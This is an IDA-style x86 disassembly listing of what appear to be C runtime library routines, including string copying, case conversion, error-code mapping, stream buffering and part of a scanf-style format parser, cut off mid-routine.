loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DCFF4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DCFF4, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEC1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBE4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB95C, ecx
		mov	eax, offset dword_43CCF0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE58
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB958, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCF4[edx*8]
		mov	dword_4DB958, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB958, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB958, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0E8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D108
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB40
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9E4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9E4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBE4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9D8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBE4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBE8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBE8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBE4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBE4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF88
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE60
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE58


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
